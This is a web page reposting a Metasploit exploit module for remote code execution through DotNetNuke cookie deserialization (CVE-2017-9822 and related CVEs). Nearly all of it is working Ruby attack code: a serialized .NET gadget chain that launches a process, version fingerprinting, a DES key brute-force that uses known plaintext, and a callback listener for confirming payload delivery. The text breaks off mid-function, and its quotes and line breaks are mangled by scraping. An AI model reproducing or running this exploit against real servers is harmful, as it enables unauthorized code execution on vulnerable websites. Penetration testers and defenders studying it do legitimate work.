DotNetNuke Cookie Deserialization Remote Code Execution ↭ – Digitalmunition




Exploit/Advisories no-image-featured-image.png

Published on April 3rd, 2020 📆 | 5613 Views ⚑

0

DotNetNuke Cookie Deserialization Remote Code Execution ↭

[*]##[*]# This module requires Metasploit: https://metasploit.com/download[*]# Current source: https://github.com/rapid7/metasploit-framework[*]##

require ‘msf/core/exploit/powershell'[*]require ‘openssl'[*]require ‘set’

class MetasploitModule < Msf::Exploit::Remote[*]include Msf::Exploit::Remote::HttpClient[*]include Msf::Exploit::Powershell[*]include Msf::Exploit::Remote::HttpServer

Rank = ExcellentRanking

# =================================[*]# Overidden setup method to allow[*]# for delayed handler start[*]# =================================[*]def setup[*]# Reset the session counts to zero.[*]reset_session_counts

return if !payload_instance[*]return if !handler_enabled?

# Configure the payload handler[*]payload_instance.exploit_config = {[*]’active_timeout’ => active_timeout[*]}

# payload handler is normally set up and started here[*]# but has been removed so we can start the handler when needed.[*]end

def initialize(info = {})[*]super(update_info([*]info,[*]’Name’ => “DotNetNuke Cookie Deserialization Remote Code Excecution”,[*]’Description’ => %q([*]This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.[*]Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.[*]The expected structure includes a “type” attribute to instruct the server which type of object to create on deserialization.[*]The cookie is processed by the application whenever it attempts to load the current user’s profile data.[*]This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).[*]An attacker can leverage this vulnerability to execute arbitrary code on the system.[*]),[*]’License’ => MSF_LICENSE,[*]’Author’ => [ ‘Jon Park’, ‘Jon Seigel’ ],[*]’References’ =>[*][[*][ ‘CVE’, ‘2017-9822’ ],[*][ ‘CVE’, ‘2018-15811’],[*][ ‘CVE’, ‘2018-15812’],[*][ ‘CVE’, ‘2018-18325’], # due to failure to patch CVE-2018-15811[*][ ‘CVE’, ‘2018-18326’], # due to failure to patch CVE-2018-15812[*][ ‘URL’, ‘https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf’],[*][ ‘URL’, ‘https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html’],[*][ ‘URL’, ‘https://github.com/pwntester/ysoserial.net’][*]],[*]’Platform’ => ‘win’,[*]’Targets’ =>[*][[*][ ‘Automatic’, { ‘auto’ => true } ],[*][ ‘v5.0 – v9.0.0’, { ‘ReqEncrypt’ => false, ‘ReqSession’ => false } ],[*][ ‘v9.0.1 – v9.1.1’, { ‘ReqEncrypt’ => false, ‘ReqSession’ => false } ],[*][ ‘v9.2.0 – v9.2.1’, { ‘ReqEncrypt’ => true, ‘ReqSession’ => true } ],[*][ ‘v9.2.2 – v9.3.0-RC’, { ‘ReqEncrypt’ => true, ‘ReqSession’ => true } ][*]],[*]’Stance’ => Msf::Exploit::Stance::Aggressive,[*]’Payload’ =>[*]{

},[*]’Privileged’ => false,[*]’DisclosureDate’ => “Jul 20 2017”,[*]’DefaultOptions’ => { ‘WfsDelay’ => 5 },[*]’DefaultTarget’ => 0[*]))

deregister_options(‘SRVHOST’)

register_options([*][[*]OptString.new(‘TARGETURI’, [true, ‘The path that will result in the DNN 404 response’, ‘/__’]),[*]OptBool.new(‘DryRun’, [false, ‘Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload’, false]),[*]OptString.new(‘VERIFICATION_PLAIN’, [false, %q(The known (full or partial) plaintext of the encrypted verification code.[*]Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), ”]),[*]OptBool.new(‘ENCRYPTED’, [true, %q(Whether or not to encrypt the final payload cookie;[*](VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.), false]),[*]OptString.new(‘KEY’, [false, ‘The key to use for encryption.’, ”]),[*]OptString.new(‘IV’, [false, ‘The initialization vector to use for encryption.’, ”]),[*]OptString.new(‘SESSION_TOKEN’, [false, %q(The .DOTNETNUKE session cookie to use when submitting the payload to the target server.[*]DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.), ”]),[*]OptString.new(‘VERIFICATION_CODE’, [false, %q(The encrypted verification code received in a registration email.[*]Can also be the path to a file containing a list of verification codes.), ”])[*]][*])

initialize_instance_variables[*]end

def initialize_instance_variables[*]# ==================[*]# COMMON VARIABLES[*]# ==================

@target_idx = 0

# Flag for whether or not to perform exploitation[*]@dry_run = false

# Flag for whether or not the target requires encryption[*]@encrypted = false

# Flag for whether or not to attempt to decrypt the provided verification token(s)[*]@try_decrypt = false

# ==================[*]# PAYLOAD VARIABLES[*]# ==================

# ObjectStateFormatter serialized header[*]@osf_header = [255, 1, 50]

# ObjectStateFormatter serialized data before the command payload[*]@osf_wrapper_start = [[*]0, 1, 0, 0, 0, 255, 255, 255, 255, 1, 0, 0, 0, 0, 0, 0, 0, 12, 2, 0, 0, 0, 73,[*]83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,[*]46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101,[*]117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84,[*]111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101,[*]48, 56, 57, 5, 1, 0, 0, 0, 132, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111,[*]108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105,[*]99, 46, 83, 111, 114, 116, 101, 100, 83, 101, 116, 96, 49, 91, 91, 83, 121,[*]115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111,[*]114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48,[*]46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117,[*]116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111,[*]107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56,[*]57, 93, 93, 4, 0, 0, 0, 5, 67, 111, 117, 110, 116, 8, 67, 111, 109, 112, 97,[*]114, 101, 114, 7, 86, 101, 114, 115, 105, 111, 110, 5, 73, 116, 101, 109, 115,[*]0, 3, 0, 6, 8, 141, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101,[*]99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 46, 67, 111,[*]109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109, 112, 97, 114, 101, 114,[*]96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103,[*]44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105,[*]111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,[*]101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,[*]75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,[*]57, 51, 52, 101, 48, 56, 57, 93, 93, 8, 2, 0, 0, 0, 2, 0, 0, 0, 9, 3, 0, 0, 0,[*]2, 0, 0, 0, 9, 4, 0, 0, 0, 4, 3, 0, 0, 0, 141, 1, 83, 121, 115, 116, 101, 109,[*]46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101,[*]114, 105, 99, 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109,[*]112, 97, 114, 101, 114, 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83,[*]116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32,[*]86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,[*]117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80,[*]117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55,[*]97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 1, 0, 0, 0, 11,[*]95, 99, 111, 109, 112, 97, 114, 105, 115, 111, 110, 3, 34, 83, 121, 115, 116,[*]101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,[*]105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 5, 0, 0, 0,[*]17, 4, 0, 0, 0, 2, 0, 0, 0, 6, 6, 0, 0, 0[*]]

# ObjectStateFormatter serialized data to place after the command payload.[*]@osf_wrapper_end = [[*]6, 7, 0, 0, 0, 3, 99, 109, 100, 4, 5, 0, 0, 0, 34, 83, 121, 115, 116, 101,[*]109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,[*]105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 3, 0, 0, 0, 8,[*]68, 101, 108, 101, 103, 97, 116, 101, 7, 109, 101, 116, 104, 111, 100, 48, 7,[*]109, 101, 116, 104, 111, 100, 49, 3, 3, 3, 48, 83, 121, 115, 116, 101, 109,[*]46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105,[*]122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108,[*]101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 47, 83, 121, 115, 116, 101,[*]109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,[*]98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,[*]116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 47, 83, 121, 115, 116, 101,[*]109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,[*]98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,[*]116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 8, 0, 0, 0, 9, 9, 0, 0,[*]0, 9, 10, 0, 0, 0, 4, 8, 0, 0, 0, 48, 83, 121, 115, 116, 101, 109, 46, 68,[*]101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97,[*]116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108, 101, 103,[*]97, 116, 101, 69, 110, 116, 114, 121, 7, 0, 0, 0, 4, 116, 121, 112, 101, 8,[*]97, 115, 115, 101, 109, 98, 108, 121, 6, 116, 97, 114, 103, 101, 116, 18,[*]116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 65, 115, 115, 101, 109, 98,[*]108, 121, 14, 116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 78, 97, 109,[*]101, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 13, 100, 101, 108,[*]101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 1, 1, 2, 1, 1, 1, 3, 48, 83,[*]121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101,[*]114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,[*]114, 43, 68, 101, 108, 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 6, 11,[*]0, 0, 0, 176, 2, 83, 121, 115, 116, 101, 109, 46, 70, 117, 110, 99, 96, 51,[*]91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32,[*]109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111,[*]110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,[*]101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,[*]75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,[*]57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83, 121, 115, 116, 101, 109, 46, 83,[*]116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44,[*]32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32,[*]67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44,[*]32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98,[*]55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83,[*]121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,[*]115, 46, 80, 114, 111, 99, 101, 115, 115, 44, 32, 83, 121, 115, 116, 101,[*]109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46,[*]48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114,[*]97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101,[*]110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93,[*]93, 6, 12, 0, 0, 0, 75, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86,[*]101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,[*]117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32,[*]80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55,[*]55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 10, 6, 13, 0, 0, 0,[*]73, 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110,[*]61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61,[*]110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,[*]121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,[*]52, 101, 48, 56, 57, 6, 14, 0, 0, 0, 26, 83, 121, 115, 116, 101, 109, 46, 68,[*]105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 46, 80, 114, 111, 99, 101,[*]115, 115, 6, 15, 0, 0, 0, 5, 83, 116, 97, 114, 116, 9, 16, 0, 0, 0, 4, 9, 0,[*]0, 0, 47, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116,[*]105, 111, 110, 46, 77, 101, 109, 98, 101, 114, 73, 110, 102, 111, 83, 101,[*]114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,[*]114, 7, 0, 0, 0, 4, 78, 97, 109, 101, 12, 65, 115, 115, 101, 109, 98, 108,[*]121, 78, 97, 109, 101, 9, 67, 108, 97, 115, 115, 78, 97, 109, 101, 9, 83,[*]105, 103, 110, 97, 116, 117, 114, 101, 10, 83, 105, 103, 110, 97, 116, 117,[*]114, 101, 50, 10, 77, 101, 109, 98, 101, 114, 84, 121, 112, 101, 16, 71, 101,[*]110, 101, 114, 105, 99, 65, 114, 103, 117, 109, 101, 110, 116, 115, 1, 1, 1,[*]1, 1, 0, 3, 8, 13, 83, 121, 115, 116, 101, 109, 46, 84, 121, 112, 101, 91,[*]93, 9, 15, 0, 0, 0, 9, 13, 0, 0, 0, 9, 14, 0, 0, 0, 6, 20, 0, 0, 0, 62, 83,[*]121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,[*]115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40, 83,[*]121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,[*]115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 6, 21, 0, 0, 0, 62,[*]83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105,[*]99, 115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40,[*]83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83,[*]121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0,[*]10, 1, 10, 0, 0, 0, 9, 0, 0, 0, 6, 22, 0, 0, 0, 7, 67, 111, 109, 112, 97,[*]114, 101, 9, 12, 0, 0, 0, 6, 24, 0, 0, 0, 13, 83, 121, 115, 116, 101, 109,[*]46, 83, 116, 114, 105, 110, 103, 6, 25, 0, 0, 0, 43, 73, 110, 116, 51, 50,[*]32, 67, 111, 109, 112, 97, 114, 101, 40, 83, 121, 115, 116, 101, 109, 46,[*]83, 116, 114, 105, 110, 103, 44, 32, 83, 121, 115, 116, 101, 109, 46, 83,[*]116, 114, 105, 110, 103, 41, 6, 26, 0, 0, 0, 50, 83, 121, 115, 116, 101,[*]109, 46, 73, 110, 116, 51, 50, 32, 67, 111, 109, 112, 97, 114, 101, 40, 83,[*]121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,[*]115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0, 10, 1,[*]16, 0, 0, 0, 8, 0, 0, 0, 6, 27, 0, 0, 0, 113, 83, 121, 115, 116, 101, 109,[*]46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 96, 49, 91, 91, 83, 121,[*]115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99,[*]111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,[*]46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110,[*]101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,[*]121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,[*]52, 101, 48, 56, 57, 93, 93, 9, 12, 0, 0, 0, 10, 9, 12, 0, 0, 0, 9, 24, 0,[*]0, 0, 9, 22, 0, 0, 0, 10, 11[*]]

@cr_regex = /(?< =Copyright (c) 2002-)(d{4})/

# ==================[*]# v9.1.1+ VARIABLES[*]# ==================

@key_charset = “02468ABDF”[*]@verification_codes = []

@iv_regex = /[0-9A-F]{8}/

# Known plaintext[*]@kpt = “”

# Encryption objects[*]@decryptor = OpenSSL::Cipher.new(‘des’)[*]@decryptor.decrypt

@encryptor = OpenSSL::Cipher.new(‘des’)[*]@encryptor.encrypt

# final passphrase (key +iv) to use for payload (v9.1.1+)[*]@passphrase = “”

# ==================[*]# v9.2.0+ VARIABLES[*]# ==================

# Session token needed for exploitation (v9.2.0+)[*]@session_token = “”

# ==================[*]# v9.2.2+ VARIABLES[*]# ==================

# User ID format (v9.2.2+)[*]# Number of characters of user ID available in plaintext[*]# is equal to the length of a GUID (no spaces or dashes)[*]# minus (blocksize – known plaintext length).[*]@user_id_pt_length = 32 – (8 – @kpt.length)[*]@user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/

# Plaintext found from decryption (v9.2.2+)[*]@found_pt = “”

@iv_charset = “0123456789abcdef”

# Possible IVs used to encrypt verification codes (v9.2.2+)[*]@possible_ivs = Set.new([])

# Possible keys used to encrypt verification codes (v9.2.2+)[*]@possible_keys = Set.new([])

# passphrases (key + iv) values to use for payload encryption (v9.2.2+)[*]@passphrases = []

# char sets to use when generating possible base keys[*]@unchanged = Set.new([65,70])[*]end

def decode_verification(code)[*]# Decode verification code base don DNN format[*]return String.new([*]Rex::Text.decode_base64([*]code.chomp.gsub(“.”, “+”).gsub(“-“, “/”).gsub(“_”, “=”)[*])[*])[*]end

# ==============[*]# Main function[*]# ==============[*]def exploit

return unless check == Exploit::CheckCode::Appears

@encrypted = datastore[‘ENCRYPTED’][*]verification_code = datastore[‘VERIFICATION_CODE’][*]if File.file?(verification_code)[*]File.readlines(verification_code).each do |code|[*]@verification_codes.push(decode_verification(code))[*]end[*]else[*]@verification_codes.push(decode_verification(verification_code))[*]end

@kpt = datastore[‘VERIFICATION_PLAIN’]

@session_token = datastore[‘SESSION_TOKEN’][*]@dry_run = datastore[‘DryRun’][*]key = datastore[‘KEY’][*]iv = datastore[‘IV’]

if target[‘ReqEncrypt’] && @encrypted == false[*]print_warning(“Target requires encrypted payload. Exploit may not succeed.”)[*]end

if @encrypted[*]# Requires either supplied key and IV, or verification code and plaintext[*]if (!key.blank? && !iv.blank?)[*]@passphrase = key + iv[*]# Key and IV were supplied, don’t try and decrypt.[*]@try_decrypt = false[*]elsif ([email protected]_codes.empty? && [email protected]?)[*]@try_decrypt = true[*]else[*]fail_with(Failure::BadConfig, “You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).”)[*]end[*]end

if target[‘ReqSession’][*]if @session_token.blank?[*]fail_with(Failure::BadConfig, “Target requires a valid SESSION_TOKEN for exploitation.”)[*]end[*]end

if @encrypted && @try_decrypt[*]# Set IV for decryption as the known plaintext, manually[*]# apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed.[*]# For v9.1.1 – v9.2.1 this will find the valid KEY and IV value in real time.[*]# For v9.2.2+ it will find an initial base key faster than if padding were enabled.[*]f8_plain = @kpt[0, 8][*]c_iv = f8_plain.unpack(“C*”) + [8 – f8_plain.length] * (8 – f8_plain.length)[*]@decryptor.iv = String.new(c_iv.pack(“C*”))[*]@decryptor.padding = 0

key = find_key(@verification_codes[0])[*]if key.blank?[*]return[*]end

if @target_idx == 4[*]# target is v9.2.2+, requires base64 generated key and IV values.[*]generate_base_keys(0, key.each_byte.to_a, “”)[*]vprint_status(“Generated #{@possible_keys.size} possible base KEY values from #{key}”)

# re-enable padding here as it doesn’t have the[*]# same performance impact when trying to find possible IV values.[*]@decryptor.padding = 1

print_warning(“Finding possible base IVs. This may take a few minutes…”)[*]start = Time.now[*]find_ivs(@verification_codes, key)[*]elapsed = Time.now – start[*]vprint_status([*]format([*]”Found %d potential Base IV values using %d “[*]”verification codes in %.2f seconds.”,[*]n_ivs: @possible_ivs.size,[*]n_codes: @verification_codes.size,[*]e_time: elapsed.to_s[*])[*])

generate_payload_passphrases[*]vprint_status(format(“Generated %d possible base64 KEY and IV combinations.”, n_phrases: @passphrases.size))[*]end

if @passphrase.blank?[*]# test all generated passphrases by[*]# sending an exploit payload to the target[*]# that will callback to an HTTP listener[*]# with the index of the passphrase that worked.

# set SRVHOST as LHOST value for HTTPServer mixin[*]datastore[‘SRVHOST’] = datastore[‘LHOST’][*]print_warning(“Trying all possible KEY and IV combinations…”)[*]print_status(“Starting HTTP listener on port #{datastore[‘SRVPORT’]}…”)[*]start_service[*]vprint_warning(“Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes …”)

test_passphrases

# If no working passphrase has been found,[*]# wait to allow the the chance for the last one to callback.[*]if @passphrase.empty? && [email protected]_run[*]sleep(wfs_delay)[*]end[*]if service[*]stop_service[*]end[*]print “rn”[*]if [email protected]?[*]print_good(“KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..-1]} found”)[*]end[*]end[*]end[*]send_exploit_payload[*]end

# =====================[*]# For the check command[*]# =====================[*]def check[*]if target.name == ‘Automatic'[*]select_target[*]end

@target_idx = Integer(datastore[‘TARGET’])

if @target_idx == 0[*]fail_with(Failure::NoTarget, ‘No valid target found or specified.’)[*]end

# Check if 404 page is custom or not.[*]# Vulnerability requires custom 404 handling (enabled by default).[*]uri = normalize_uri(target_uri.path)[*]print_status(“Checking for custom error page at: #{uri} …”)[*]res = send_request_cgi([*]’uri’ => uri[*])

if res.code == 404 && !res.body.include?(‘Server Error’) && res.to_s.length > 1600[*]print_good(“Custom error page detected.”)[*]else[*]print_error(“IIS Error Page detected.”)[*]return Exploit::CheckCode::Safe[*]end[*]return Exploit::CheckCode::Appears[*]end

# ===========================[*]# Auto-select target version[*]# ===========================[*]def select_target[*]print_status(“Trying to determine DNN Version…”)[*]# Check for copyright version in /Documentation/license.txt[*]uri = %r{^(.*[\/])}.match(target_uri.path)[0][*]vprint_status(“Checking version at #{normalize_uri(uri + ‘Documentation’, ‘License.txt’)} …”)[*]res = send_request_cgi([*]’method’ => ‘GET’,[*]’uri’ => normalize_uri(uri + ‘Documentation’, ‘License.txt’)[*])[*]year = -1[*]if res && res.code == 200[*]# License page found, get latest copyright year.[*]matches = @cr_regex.match(res.body)[*]if matches[*]year = matches[0].to_i[*]end[*]else[*]vprint_status(“Checking version at #{uri} …”)[*]res = send_request_cgi([*]’method’ => ‘GET’,[*]’uri’ => normalize_uri(uri)[*])[*]if res && res.code == 200[*]# Check if copyright info is in page HTML.[*]matches = @cr_regex.match(res.body)[*]if matches[*]year = matches[0].to_i[*]end[*]end[*]end

if year >= 2018[*]print_warning([*]%q(DNN Version Found: v9.2.0+ – Requires ENCRYPTED and SESSION_TOKEN.[*]Setting target to 3 (v9.2.0 – v9.2.1). Site may also be 9.2.2.[*]Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values.”)[*])[*]datastore[‘TARGET’] = 3[*]elsif year == 2017[*]print_warning(‘DNN Version Found: v9.0.1 – v9.1.1 – May require ENCRYPTED’)[*]datastore[‘TARGET’] = 2[*]elsif year < 2017 && year > 2008[*]print_good(“DNN Version Found: v5.1.0 – v9.0.1”)[*]datastore[‘TARGET’] = 1[*]elsif year == 2008[*]print_warning(“DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).”)[*]datastore[‘TARGET’] = 1[*]else[*]print_warning(“Could not determine DNN version. Target may still be vulnerable. Manually set the Target value”)[*]end[*]end

# ==============================[*]# Known plaintext attack to[*]# brute-force the encryption key[*]# ==============================[*]def find_key(cipher_text)[*]print_status(“Finding Key…”)

# Counter[*]total_keys = @key_charset.length**8[*]i = 1

# Set start time[*]start = Time.now

# First char[*]@key_charset.each_byte do |a|[*]key = a.chr[*]# 2[*]@key_charset.each_byte do |b|[*]key[1] = b.chr[*]# 3[*]@key_charset.each_byte do |c|[*]key[2] = c.chr[*]# 4[*]@key_charset.each_byte do |d|[*]key[3] = d.chr[*]# 5[*]@key_charset.each_byte do |e|[*]key[4] = e.chr[*]# 6[*]@key_charset.each_byte do |f|[*]key[5] = f.chr[*]# 7[*]@key_charset.each_byte do |g|[*]key[6] = g.chr[*]# 8[*]@key_charset.each_byte do |h|[*]key[7] = h.chr[*]if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key))[*]elapsed = Time.now – start[*]print_search_status(i, elapsed, total_keys)[*]print_line[*]if @target_idx == 4[*]print_good(“Possible Base Key Value Found: ” + key)[*]else[*]print_good(“KEY Found: ” + key)[*]print_good(“IV Found: ” + @passphrase[8..-1])[*]end[*]vprint_status(format(“Total number of Keys tried: %d”, n_tried: i))[*]vprint_status(format(“Time to crack: %.3f seconds”, c_time: elapsed.to_s))[*]return String.new(key)[*]end[*]# Print timing info every 5 million attempts[*]if i % 5000000 == 0[*]print_search_status(i, Time.now – start, total_keys)[*]end[*]i += 1[*]end[*]end[*]end[*]end[*]end[*]end[*]end[*]end[*]elapsed = Time.now – start[*]print_search_status(i, elapsed, total_keys)[*]print_line[*]print_error(“Key not found”)[*]vprint_status(format(“Total number of Keys tried: %d”, n_tried: i))[*]vprint_status(format(“Time run: %.3f seconds”, r_time: elapsed.to_s))[*]return nil[*]end

# ==================================[*]# Attempt to decrypt a ciphertext[*]# and obtain the IV at the same time[*]# ==================================[*]def decrypt_data_and_iv(cipher, cipher_text, key)[*]cipher.key = key[*]begin[*]plaintext = cipher.update(cipher_text) + cipher.final[*]if @target_idx == 4[*]# Target is v9.2.2+[*]user_id = plaintext[8, @user_id_pt_length][*]if @user_id_regex.match(user_id)[*]return true[*]end

return false[*]end

# This should only execute if the version is 9.1.1 – 9.2.1[*]iv = plaintext[0, 8][*]if [email protected]_regex.match(iv)[*]return false[*]end

# Build encryption passphrase as DNN does.[*]@passphrase = key + iv

# Encrypt the plaintext value using the discovered key and IV[*]# and compare with the initial ciphertext[*]if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase)[*]@passphrases.push(String.new(key + iv))[*]return true[*]end[*]rescue StandardError[*]# Ignore decryption errors to allow execution to continue[*]return false[*]end[*]return false[*]end

def print_search_status(num_tries, elapsed, max_tries)[*]msg = format(“Searching at %.3f keys/s …… %.2f%% of keyspace complete.”, s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100)[*]print(“r%bld%blu[*]%clr #{msg}”)[*]end

# ===========================[*]# Encrypt data using the same[*]# pattern that DNN uses.[*]# ===========================[*]def encrypt_data(cipher, message, passphrase)[*]cipher.key = passphrase[0, 8][*]cipher.iv = passphrase[8, 8][*]return cipher.update(message) + cipher.final[*]end

# ===============================================[*]# Generate all possible base key values[*]# used to create the final passphrase in v9.2.2+.[*]# DES weakness allows multiple bytes to be[*]# interpreted as the same value.[*]# ===============================================[*]def generate_base_keys(pos, from_key, new_key)[*]if [email protected]? from_key[pos][*]if from_key[pos] % 2 == 0[*]new_key[pos] = (from_key[pos] + 1).chr[*]else[*]new_key[pos] = (from_key[pos] – 1).chr[*]end

